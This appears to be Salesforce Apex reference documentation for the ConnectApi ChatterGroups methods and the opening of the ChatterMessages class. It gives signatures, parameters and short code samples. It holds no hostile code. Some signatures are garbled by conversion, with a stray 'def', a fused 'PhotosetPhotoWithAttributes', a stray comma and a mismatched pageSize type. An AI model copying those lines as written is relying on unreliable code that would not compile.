Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.Photo

getRecord(communityId, groupRecordId)
Get a record associated with a group.

API Version
34.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupRecord getRecord(String communityId, String groupRecordId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupRecordId
Type: String
ID of the group record.

Return Value
Type: ConnectApi.GroupRecord

getRecords(communityId, groupId)
Get the first page of records associated with a group.

API Version
33.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId)
Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

`groupId`
Type: String
The ID for a group.

Return Value
Type: `ConnectApi.GroupRecordPage`

`getRecords(communityId, groupId, pageParam, pageSize)`
Get a page of records associated with a group.

API Version
33.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId,
Integer pageParam, Integer pageSize)
```

Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

`groupId`
Type: String
The ID for a group.

`pageParam`
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

`pageSize`
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.
**inviteUsers(groupId, invite)**
Invite internal and external users to join a group.

API Version
39.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.Invitations inviteUsers(String groupId, ConnectApi.InviteInput invite)
```

Parameters
- `groupId`
  Type: `String`
  ID of the group.
- `invite`
  Type: `ConnectApi.InviteInput`
  A `ConnectApi.InviteInput` body.

Return Value
Type: `ConnectApi.Invitations`

**postAnnouncement(communityId, groupId, announcement)**
Post an announcement to a group.

API Version
31.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.Announcement postAnnouncement(String communityId, String groupId, ConnectApi.AnnouncementInput announcement)
```
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**groupId**
Type: String
The ID for a group.

**announcement**
Type: ConnectApi.AnnouncementInput
A ConnectApi.AnnouncementInput object.

Return Value
Type: ConnectApi.Announcement

Usage
Use an announcement to highlight information. Users can discuss, like, and post comments on announcements. Deleting the feed post deletes the announcement.

To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an announcement, use the methods of the ConnectApi.Announcements class.

**removeRecord(communityId, groupRecordId)**
Remove the association of a record with a group.

API Version
34.0

Requires Chatter
Yes

Signature

```java
public static Void removeRecord(String communityId, String groupRecordId)
```

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**groupRecordId**
Type: String
ID of the group record.
Return Value
Type: Void

`requestGroupMembership(communityId, groupId)`
Request membership in a private group.

API Version
28.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.GroupMembershipRequest requestGroupMembership(String communityId, String groupId)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.
- `groupId`
  Type: `String`
  The ID for a group.

Return Value
Type: `ConnectApi.GroupMembershipRequest`

Sample: Requesting to Join a Private Group
This sample code calls `ConnectApi.ChatterGroups.requestGroupMembership` to request to join a private group.
```
String communityId = null;
ID groupId = '0F9x00000000hAZ';

ConnectApi.GroupMembershipRequest membershipRequest =
    ConnectApi.ChatterGroups.requestGroupMembership(communityId, groupId);
```

`searchGroups(communityId, q)`
Get the first page of groups that match the search criteria.

API Version
28.0
Available to Guest Users
31.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `q`
  Type: `String`
  Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards. Can be specified as `null`.

Return Value

Type: `ConnectApi.ChatterGroupPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchGroups(communityId, q, result)`
  Testing ConnectApi Code

**searchGroups(communityId, q, pageParam, pageSize)**

Get a page of groups that match the search criteria.

API Version
28.0

Available to Guest Users
31.0
signature

```java
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q, Integer pageParam, Integer pageSize)
```

Parameters

- **communityId**
  
  Type: String
  
  Use the ID for an Experience Cloud site, internal, or null.

- **q**
  
  Type: String
  
  Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards. Can be specified as null.

- **pageParam**
  
  Type: Integer
  
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

- **pageSize**
  
  Type: Integer
  
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

Type: ConnectApi.ChatterGroupPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```java
setTestSearchGroups(communityId, q, pageParam, pageSize, result)
```

Testing ConnectApi Code

**searchGroups(communityId, q, archiveStatus, pageParam, pageSize)**

Get a page of groups with the archive status that match the search criteria.

API Version

29.0
Available to Guest Users
31.0

Requires Chatter
Yes

Signature

public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q, ConnectApi.GroupArchiveStatus archiveStatus, Integer pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards. Can be specified as null.

archiveStatus
Type: ConnectApi.GroupArchiveStatus
Archive status of groups.
- All—All groups, including groups that are archived and groups that aren’t archived.
- Archived—Groups that are archived.
- NotArchived—Groups that aren’t archived.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

Type: ConnectApi.ChatterGroupPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestSearchGroups(communityId, q, archiveStatus, pageParam, pageSize, result)
Testing ConnectApi Code

setBannerPhoto(communityId, groupId, fileId, versionNumber)
Set an uploaded file as the group banner photo.

API Version
36.0

Requires Chatter
Yes

Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String groupId, String fileId, Integer versionNumber)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
The ID of the group.

fileId
Type: String
The ID of the already uploaded file. The key prefix must be 069, and the image must be smaller than 8 MB.

versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number or, to get the latest version, specify null.

Return Value
Type: ConnectApi.BannerPhoto

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.
Photos are processed asynchronously and may not be visible right away.

**setBannerPhoto(communityId, groupId, fileUpload)**

Set a file that hasn’t been uploaded as the group banner photo.

**API Version**

36.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String groupId,
ConnectApi.BinaryInput fileUpload)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or null.

- **groupId**
  - Type: `String`
  - The ID of the group.

- **fileUpload**
  - Type: `ConnectApi.BinaryInput`
  - A file to use as the photo. The content type must be usable as an image.

**Return Value**

Type: `ConnectApi.BannerPhoto`

**Usage**

This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Photos are processed asynchronously and may not be visible right away.

**setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto)**

Set and crop an uploaded file as the group banner photo.

**API Version**

36.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String groupId, ConnectApi.BannerPhotoInput bannerPhoto)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **groupId**
  - Type: String
  - The ID of the group.

- **bannerPhoto**
  - Type: ConnectApi.BannerPhotoInput
  - A ConnectApi.BannerPhotoInput object that specifies the ID and version of the file, and how to crop the file.

Return Value

Type: ConnectApi.BannerPhoto

Usage

This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Photos are processed asynchronously and may not be visible right away.

```java
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto, fileUpload)
```

Set and crop a file that hasn’t been uploaded as the group banner photo.

API Version

36.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String groupId, ConnectApi.BannerPhotoInput bannerPhoto, ConnectApi.BinaryInput fileUpload)
```
Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
The ID of the group.

bannerPhoto
Type: ConnectApi.BannerPhotoInput
A ConnectApi.BannerPhotoInput object specifying the cropping parameters.

fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.BannerPhoto

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Photos are processed asynchronously and may not be visible right away.

setPhoto(communityId, groupId, fileId, versionNumber)
Set an uploaded file as the group photo.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo setPhoto(String communityId, String groupId, String fileId, Integer versionNumber)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
groupId
Type: String
The ID for a group.

fileId
Type: String
ID of a file already uploaded. The key prefix must be 069, and the file must be an image that is smaller than 2 GB.

versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number or, to get the latest version, specify null.

Return Value
Type: ConnectApi.Photo

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Photos are processed asynchronously and may not be visible right away.

Sample: Updating a Group Photo with an Existing File
When a group is created, it doesn’t have a group photo. You can set an existing photo that has already been uploaded to Salesforce as the group photo. The key prefix must be 069 and the file size must be less than 2 GB.

```java
String communityId = null; ID groupId = '0F9x00000000hAK'; ID fileId = '069x00000001Ion';

// Set photo
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, fileId, null);
```

setPhoto(communityId, groupId, fileUpload)
Set a file that hasn’t been uploaded as the group photo.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo setPhoto(String communityId, String groupId, ConnectApi.BinaryInput fileUpload)
Parameters

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **groupId**
  Type: String
  The ID for a group.

- **fileUpload**
  Type: `ConnectApi.BinaryInput`
  A file to use as the photo. The content type must be usable as an image.

Return Value

Type: `ConnectApi.Photo`

Usage

This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Photos are processed asynchronously and may not be visible right away.

Sample: Uploading a New File and Using It as a Group Photo

When a group is created, it doesn’t have a group photo. You can upload a photo and set it as the group photo.

```java
String communityId = null;
ID groupId = '0F9x00000000hAP';
ID photoId = '069x00000001Ioo';

// Set photo
List<ContentVersion> groupPhoto = [Select c.VersionData From ContentVersion c where ContentDocumentId=:photoId];
ConnectApi.BinaryInput binary = new ConnectApi.BinaryInput(groupPhoto.get(0).VersionData, 'image/png', 'image.png');
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, binary);

setPhotoWithAttributes(communityId, groupId, photo)
```

Set and crop an uploaded file as the group photo.

API Version

29.0

Requires Chatter

Yes
public static ConnectApi.PhotosetPhotoWithAttributes(String communityId, String groupId, ConnectApi.PhotoInput photo)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
The ID for a group.

photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object that specifies the ID and version of the file, and how to crop the file.

Return Value
Type: ConnectApi.Photo

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Photos are processed asynchronously and may not be visible right away.

setPhotoWithAttributes(communityId, groupId, photo, fileUpload)
Set and crop a file that hasn’t been uploaded as the group photo.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.PhotosetPhotoWithAttributes(String communityId, String groupId, ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
**groupId**
- Type: **String**
  - The ID for a group.

**photo**
- Type: **ConnectApi.PhotoInput**
  - A `ConnectApi.PhotoInput` object that specifies how to crop the file specified in `fileUpload`.

**fileUpload**
- Type: **ConnectApi.BinaryInput**
  - A file to use as the photo. The content type must be usable as an image.

**Return Value**
- Type: **ConnectApi.Photo**

**Usage**
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Photos are processed asynchronously and may not be visible right away.

**updateGroup(communityId, groupId, groupInput)**
Update the settings of a group.

**API Version**
28.0

**Requires Chatter**
Yes

**Signature**

```java
public static ConnectApi.ChatterGroup updateGroup(String communityId, String groupId, ConnectApi.ChatterGroupInput groupInput)
```

**Parameters**

- **communityId**
  - Type: **String**
    - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **groupId**
  - Type: **String**
    - The ID for a group.

- **groupInput**
  - Type: **ConnectApi.ChatterGroupInput**
A `ConnectApi.ChatterGroupInput` object.

Return Value
Type: `ConnectApi.ChatterGroup`

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Use this method to update any settings in the `ConnectApi.ChatterGroupInput` class. These settings include the group title and text in the “Information” section, whether the group is public or private, and whether the group is archived.

Example
This example archives a group.

```java
String groupId = '0F9D00000000qSz';
String communityId = null;

ConnectApi.ChatterGroupInput groupInput = new ConnectApi.ChatterGroupInput();
groupInput.isArchived = true;

ConnectApi.ChatterGroups.updateGroup(communityId, groupId, groupInput);
```

`updateGroupMember(communityId, membershipId, role)`
Update the role of a group member.

API Version
29.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ChatterGroup updateGroupMember(String communityId, String membershipId, ConnectApi.GroupMembershipType role)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- `membershipId`
  Type: `String`
  The ID for a membership.
role
   Type: ConnectApi.GroupMembershipType
   The group membership type. One of these values:
   • GroupManager
   • StandardMember

Return Value
Type: ConnectApi.ChatterGroup

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

updateMyChatterSettings(communityId, groupId, emailFrequency)
Update the context user’s email frequency for a group.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupChatterSettings updateMyChatterSettings(String communityId, String groupId, ConnectApi.GroupEmailFrequency emailFrequency)

Parameters
communityId
   Type: String
   Use the ID for an Experience Cloud site, internal, or null.

groupId
   Type: String
   The ID for a group.

emailFrequency
   Type: ConnectApi.GroupEmailFrequency
   Frequency with which a user receives email.
   • EachPost
   • DailyDigest
   • WeeklyDigest
   • Never
• UseDefault
  The value UseDefault uses the value set in a call to `updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)`.

Return Value
Type: `ConnectApi.GroupChatterSettings`

`updateRequestStatus(communityId, requestId, status)`
Update a request to join a private group.

API Version
28.0

Requires Chatter
Yes

Signature
`public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId, String requestId, ConnectApi.GroupMembershipRequestStatus status)`

Parameters
`communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

`requestId`
  Type: `String`
  ID for a request to join a private group.

`status`
  Type: `ConnectApi.GroupMembershipRequestStatus`
  Status of the request:
  • Accepted
  • Declined
  The `Pending` value of the enum is not valid in this method.

Return Value
Type: `ConnectApi.GroupMembershipRequest`

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.
Sample: Accepting or Declining a Request to Join a Private Group

This sample code calls `ConnectApi.ChatterGroups.updateRequestStatus` and passes it the membership request ID and an `ConnectApi.GroupMembershipRequestStatus.Accepted` status. You can also pass `ConnectApi.GroupMembershipRequestStatus.Declined`.

```java
String communityId = null;
ID groupId = '0F9x00000000hAZ';
String requestId = '0I5x000000001snCAA';

ConnectApi.GroupMembershipRequest membershipRequestRep = 
    ConnectApi.ChatterGroups.updateRequestStatus(communityId, requestId, 
    ConnectApi.GroupMembershipRequestStatus.Accepted);
```

`updateRequestStatus(communityId, requestId, status, responseMessage)`

Update a request to join a private group and optionally provide a message when the request is denied.

API Version
35.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId, 
    String requestId, ConnectApi.GroupMembershipRequestStatus status, String responseMessage)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.
- `requestId`
  - Type: `String`
  - ID for a request to join a private group.
- `status`
  - Type: `ConnectApi.GroupMembershipRequestStatus`
  - Status of the request:
    - `Accepted`
    - `Declined`
  - The `Pending` value of the enum is not valid in this method.
- `responseMessage`
  - Type: `String`
Provide a message to the user if their membership request is declined. The value of this property is used only when the value of the `status` property is `Declined`.

The maximum length is 756 characters.

**Return Value**

Type: `ConnectApi.GroupMembershipRequest`

**Usage**

This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

## ChatterGroups Test Methods

The following are the test methods for `ChatterGroups`. All methods are static.

For information about using these methods to test your `ConnectApi` code, see [Testing ConnectApi Code](#).

### `setTestSearchGroups(communityId, q, result)`

Register a `ConnectApi.ChatterGroupPage` object to be returned when the matching `ConnectApi.searchGroups` method is called in a test context. Use the test method with the same parameters or you receive an exception.

**API Version**

29.0

**Signature**

```java
public static Void setTestSearchGroups(String communityId, String q, ConnectApi.ChatterGroupPage result)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `q`
  - Type: `String`
  - Specifies the string to search. The search string must contain at least two characters, not including wildcards. See [Wildcards](#). Can be specified as `null`.

- `result`
  - Type: `ConnectApi.ChatterGroupPage`
  - The test `ConnectApi.ChatterGroupPage` object.
Return Value
Type: Void

SEE ALSO:
searchGroups(communityId, q)
Testing ConnectApi Code

setTestSearchGroups(communityId, q, pageParam, pageSize, result)
Register a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups method is called in a test context. Use the test method with the same parameters or you receive an exception.

API Version
28.0

Signature
public static Void setTestSearchGroups(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.ChatterGroupPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards. Can be specified as null.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.ChatterGroupPage
The test ConnectApi.ChatterGroupPage object.
Return Value
Type: Void

SEE ALSO:
- searchGroups(communityId, q, pageParam, pageSize)
- Testing ConnectApi Code

`setTestSearchGroups(communityId, q, archiveStatus, pageParam, pageSize, result)`

Register a `ConnectApi.ChatterGroupPage` object to be returned when the matching `ConnectApi.searchGroups` method is called in a test context. Use the test method with the same parameters or you receive an exception.

API Version
29.0

Signature
```
public static Void setTestSearchGroups(String communityId, String q,
ConnectApi.GroupArchiveStatus, archiveStatus, Integer pageParam, Integer pageSize,
ConnectApi.ChatterGroupPage result)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- `q`
  Type: `String`
  Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards. Can be specified as `null`.

- `archiveStatus`
  Type: `ConnectApi.GroupArchiveStatus`
  Archive status of groups.
  - `All`—All groups, including groups that are archived and groups that aren’t archived.
  - ` Archived`—Groups that are archived.
  - `NotArchived`—Groups that aren’t archived.

- `pageParam`
  Type: `Integer`
  Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- `pageSize`
  Type: `Integer`
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.
result
Type: `ConnectApi.ChatterGroupPage`
The test `ConnectApi.ChatterGroupPage` object.

Return Value
Type: Void

SEE ALSO:
- `searchGroups(communityId, q, archiveStatus, pageParam, pageSize)`
- `Testing ConnectApi Code`

**ChatterMessages Class**
Get, send, search, and reply to private messages. You can also get and search private conversations, mark conversations as read, and get a count of unread private messages.

**Namespace**
`ConnectApi`

**Usage**
Private messages and direct messages are different features. Direct messages are newer and offer a richer feature set for private communication in Experience Cloud sites. Direct messages are a capability within Chatter feeds. To work with direct messages, use the `ChatterFeeds Class`.

**ChatterMessages Methods**
The following are methods for `ChatterMessages`. All methods are static.

IN THIS SECTION:
- `getConversation(conversationId)`
  Get a conversation.
- `getConversation(conversationId, pageParam, pageSize)`
  Get a page of a conversation.
- `getConversation(communityId, conversationId)`
  Get a conversation from an Experience Cloud site.
- `getConversation(communityId, conversationId, pageParam, pageSize)`
  Get a page of a conversation from an Experience Cloud site.
- `getConversations()`
  Get the most recent conversations.
- `getConversations(pageParam, pageSize)`
  Get a page of conversations.
getConversations(communityId)
Get the most recent conversations from an Experience Cloud site.

getConversations(communityId, pageParam, pageSize)
Get a page of conversations from an Experience Cloud site.

getMessage(messageId)
Get a message.

getMessage(communityId, messageId)
Get a message from an Experience Cloud site.

getMessages()
Get the most recent messages.

getMessages(pageParam, pageSize)
Get a page of messages.

getMessages(communityId)
Get the most recent messages from an Experience Cloud site.

getMessages(communityId, pageParam, pageSize)
Get a page of messages from an Experience Cloud site.

getUnreadCount()
Get the number of conversations that are marked unread.

getUnreadCount(communityId)
Get the number of conversations that are marked unread in an Experience Cloud site.

markConversationRead(conversationId, read)
Mark a conversation as read or unread.

markConversationRead(communityId, conversationID, read)
Mark a conversation as read or unread in an Experience Cloud site.

replyToMessage(text, inReplyTo)
Reply to a message.

replyToMessage(communityId, text, inReplyTo)
Reply to a message in an Experience Cloud site.

searchConversation(conversationId, q)
Get a conversation that matches the search criteria.

searchConversation(conversationId, pageParam, pageSize, q)
Get a conversation with a page of messages that match the search criteria.

searchConversation(communityId, conversationId, q)
Get a conversation with messages that match the search criteria in an Experience Cloud site.

searchConversation(communityId, conversationId, pageParam, pageSize, q)
Get a conversation with a page of messages that match the search criteria in an Experience Cloud site.

searchConversations(q)
Get conversations in which member names and messages match the search criteria.

searchConversations(pageParam, pageSize, q)
Get a page of conversations in which member names and messages match the search criteria.
searchConversations(communityId, q)
Get conversations in which member names and messages match the search criteria in an Experience Cloud site.

searchConversations(communityId, pageParam, pageSize, q)
Get a page of conversations in which member names and messages match the search criteria in an Experience Cloud site.

searchMessages(q)
Get messages that match the search criteria.

searchMessages(pageParam, pageSize, q)
Get a page of messages that match the search criteria.

searchMessages(communityId, q)
Get messages that match the search criteria in an Experience Cloud site.

searchMessages(communityId, pageParam, pageSize, q)
Get a page of messages that match the search criteria in an Experience Cloud site.

sendMessage(text, recipients)
Send a message to a list of recipients.

sendMessage(communityId, text, recipients)
Send a message to a list of recipients in an Experience Cloud site.

getConversation(conversationId)
Get a conversation.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation getConversation(String conversationId)

Parameters

conversationId
Type: String
Specify the ID for the conversation.

Return Value
Type: ConnectApi.ChatterConversation

getConversation(conversationId, pageParam, pageSize)
Get a page of a conversation.
API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation getConversation(String conversationId, String pageParam, Integer pageSize)

Parameters
conversationId
Type: String
Specify the ID for the conversation.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversation

getConversation(communityId, conversationId)
Get a conversation from an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation getConversation(String communityId, String conversationId)
Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`conversationId`
Type: `String`
Specify the ID for the conversation.

Return Value
Type: `ConnectApi.ChatterConversation`

`getConversation(communityId, conversationId, pageParam, pageSize)`
Get a page of a conversation from an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterConversation getConversation(String communityId, String conversationId, String pageParam, String pageSize)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`conversationId`
Type: `String`
Specify the ID for the conversation.

`pageParam`
Type: `String`
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.
Return Value
Type: `ConnectApi.ChatterConversation`

```java
getConversations()
```
Get the most recent conversations.

API Version
29.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ChatterConversationPage getConversations()
```

Return Value
Type: `ConnectApi.ChatterConversationPage`

```java
getConversations(pageParam, pageSize)
```
Get a page of conversations.

API Version
29.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ChatterConversationPage getConversations(String pageParam,
                     Integer pageSize)
```

Parameters

`pageParam`
Type: `String`
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.
Return Value
Type: `ConnectApi.ChatterConversationPage`

def getConversations(communityId)
Get the most recent conversations from an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.ChatterConversationPage getConversations(String communityId)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

Return Value
Type: `ConnectApi.ChatterConversationPage`

def getConversations(communityId, pageParam, pageSize)
Get a page of conversations from an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.ChatterConversationPage getConversations(String communityId, String pageParam, Integer pageSize)
```

Parameters
- `communityId`
  Type: `String`
Use the ID for an Experience Cloud site, internal, or null.

`pageParam`
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in null, the first page is returned.

`pageSize`
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: `ConnectApi.ChatterConversationPage`

`getMessage(messageId)`
Get a message.

API Version
29.0

Requires Chatter
Yes

Signature
`public static ConnectApi.ChatterMessage getMessage(String messageId)`

Parameters
`messageId`
Type: String
ID for the message.

Return Value
Type: `ConnectApi.ChatterMessage`

`getMessage(communityId, messageId)`
Get a message from an Experience Cloud site.

API Version
30.0
Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage getMessage(String communityId, String messageId)

Parameters
- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **messageId**
  - Type: String
  - ID for the message.

Return Value
Type: ConnectApi.ChatterMessage

**getMessages()**
Get the most recent messages.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage getMessages()

Return Value
Type: ConnectApi.ChatterMessagePage

**getMessages(pageParam, pageSize)**
Get a page of messages.

API Version
29.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterMessagePage getMessages(String pageParam, Integer pageSize)
```

Parameters

`pageParam`
Type: `String`
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value
Type: `ConnectApi.ChatterMessagePage`

`getMessages(communityId)`
Get the most recent messages from an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterMessagePage getMessages(String communityId)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

Return Value
Type: `ConnectApi.ChatterMessagePage`
**getMessages(communityId, pageParam, pageSize)**

Get a page of messages from an Experience Cloud site.

API Version
30.0

Requires Chatter
Yes

**Signature**

```java
public static ConnectApi.ChatterMessagePage getMessages(String communityId, String pageParam, Integer pageSize)
```

**Parameters**

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **pageParam**
  Type: String
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

- **pageSize**
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**Return Value**
Type: `ConnectApi.ChatterMessagePage`

**getUnreadCount()**

Get the number of conversations that are marked unread.

API Version
29.0

Requires Chatter
Yes

**Signature**

```java
public static ConnectApi.UnreadConversationCount getUnreadCount()
```
Return Value

Type: `ConnectApi.UnreadConversationCount`

If there are fewer than 50 unread conversations, `ConnectApi.UnreadConversationCount` returns the exact number of unread conversations and the `hasMore` property is `false`. If there are more than 50 unread conversations, `ConnectApi.UnreadConversationCount` returns 50 unread conversations and the `hasMore` property is `true`.

Example

```
ConnectApi.UnreadConversationCount unread = ConnectApi.ChatterMessages.getUnreadCount();
```

**getUnreadCount(communityId)**

Get the number of conversations that are marked unread in an Experience Cloud site.

API Version

30.0

Requires Chatter

Yes

Signature

```
public static ConnectApi.UnreadConversationCount getUnreadCount(String communityId)
```

Parameters

`communityId`

Type: `String`

Use the ID for an Experience Cloud site, `internal`, or `null`.

Return Value

Type: `ConnectApi.UnreadConversationCount`

